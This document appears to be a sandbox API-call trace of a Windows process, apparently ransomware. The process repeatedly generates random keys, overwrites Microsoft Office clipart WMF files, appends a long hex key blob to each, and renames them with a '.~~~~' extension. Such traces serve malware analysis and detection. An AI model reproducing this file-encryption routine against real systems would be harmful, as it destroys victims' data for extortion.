	[0099.315] WriteFile (in: hFile=0x11c, lpBuffer=0x292b060*, nNumberOfBytesToWrite=0x4030, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x292b060*, lpNumberOfBytesWritten=0x1f8fec0*=0x4030, lpOverlapped=0x0) returned 1
	[0099.317] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x292b060 | out: hHeap=0x300000) returned 1
	[0099.317] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.317] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.317] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.317] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.317] CloseHandle (hObject=0x11c) returned 1
	[0099.317] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.317] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152556.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152556.wmf.~~~~")) returned 1
	[0099.379] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.380] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0099.380] GetLastError () returned 0x0
	[0099.380] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0099.381] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.381] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0099.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0099.381] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21937128559) returned 1
	[0099.381] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa4eefdb0, dwHighDateTime=0x1d60e1e)) 
	[0099.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0099.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0099.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0099.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862218
	[0099.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.381] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862218 | out: hHeap=0x300000) returned 1
	[0099.381] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0099.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0099.382] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2860b00
	[0099.382] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.382] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0099.382] GetLastError () returned 0x0
	[0099.382] GetLastError () returned 0x0
	[0099.382] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0099.382] GetLastError () returned 0x0
	[0099.382] GetLastError () returned 0x0
	[0099.403] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffd9d8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.403] WriteFile (in: hFile=0x11c, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x2628, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x1f8fec0*=0x2628, lpOverlapped=0x0) returned 1
	[0099.404] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0099.404] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.404] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.404] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.404] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.404] CloseHandle (hObject=0x11c) returned 1
	[0099.404] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.404] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf.~~~~")) returned 1
	[0099.414] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.414] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0099.414] GetLastError () returned 0x0
	[0099.414] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0099.415] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.415] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0099.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0099.416] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21940582002) returned 1
	[0099.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa4f3c070, dwHighDateTime=0x1d60e1e)) 
	[0099.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0099.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0099.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0099.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28622c0
	[0099.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28622c0 | out: hHeap=0x300000) returned 1
	[0099.416] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0099.416] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.420] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0099.420] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2860f28
	[0099.421] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.421] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0099.421] GetLastError () returned 0x0
	[0099.421] GetLastError () returned 0x0
	[0099.421] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0099.421] GetLastError () returned 0x0
	[0099.422] GetLastError () returned 0x0
	[0099.430] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffcf6c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.431] WriteFile (in: hFile=0x11c, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x3094, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x1f8fec0*=0x3094, lpOverlapped=0x0) returned 1
	[0099.432] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0099.432] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.432] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.432] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.432] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.433] CloseHandle (hObject=0x11c) returned 1
	[0099.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.433] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf.~~~~")) returned 1
	[0099.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.434] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0099.434] GetLastError () returned 0x0
	[0099.435] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0099.436] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.436] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.436] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0099.436] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0099.436] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21942657092) returned 1
	[0099.437] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa4f621d0, dwHighDateTime=0x1d60e1e)) 
	[0099.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0099.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0099.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0099.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28622f8
	[0099.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28622f8 | out: hHeap=0x300000) returned 1
	[0099.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28610f0
	[0099.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.437] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0099.437] GetLastError () returned 0x0
	[0099.438] GetLastError () returned 0x0
	[0099.438] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0099.438] GetLastError () returned 0x0
	[0099.438] GetLastError () returned 0x0
	[0099.467] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe8b8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.467] WriteFile (in: hFile=0x11c, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x1748, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x1f8fec0*=0x1748, lpOverlapped=0x0) returned 1
	[0099.469] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0099.469] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.469] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.469] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.469] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.469] CloseHandle (hObject=0x11c) returned 1
	[0099.474] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.474] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf.~~~~")) returned 1
	[0099.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.475] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0099.475] GetLastError () returned 0x0
	[0099.476] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0099.477] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.477] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.477] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0099.477] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0099.478] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21946769428) returned 1
	[0099.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa4fd45f0, dwHighDateTime=0x1d60e1e)) 
	[0099.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0099.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0099.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0099.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862368
	[0099.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862368 | out: hHeap=0x300000) returned 1
	[0099.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.478] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2861188
	[0099.478] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.478] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0099.479] GetLastError () returned 0x0
	[0099.479] GetLastError () returned 0x0
	[0099.479] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0099.479] GetLastError () returned 0x0
	[0099.479] GetLastError () returned 0x0
	[0099.507] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff9978, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.508] WriteFile (in: hFile=0x11c, lpBuffer=0x2912058*, nNumberOfBytesToWrite=0x6688, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2912058*, lpNumberOfBytesWritten=0x1f8fec0*=0x6688, lpOverlapped=0x0) returned 1
	[0099.509] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2912058 | out: hHeap=0x300000) returned 1
	[0099.509] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.509] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.509] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.509] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.509] CloseHandle (hObject=0x11c) returned 1
	[0099.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.510] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152626.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152626.wmf.~~~~")) returned 1
	[0099.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.511] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0099.511] GetLastError () returned 0x0
	[0099.511] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0099.518] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.518] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.518] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0099.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0099.518] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=21950842457) returned 1
	[0099.518] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa50208b0, dwHighDateTime=0x1d60e1e)) 
	[0099.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0099.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0099.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0099.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28623d8
	[0099.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28623d8 | out: hHeap=0x300000) returned 1
	[0099.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28612b8
	[0099.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.519] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0099.519] GetLastError () returned 0x0
	[0099.520] GetLastError () returned 0x0
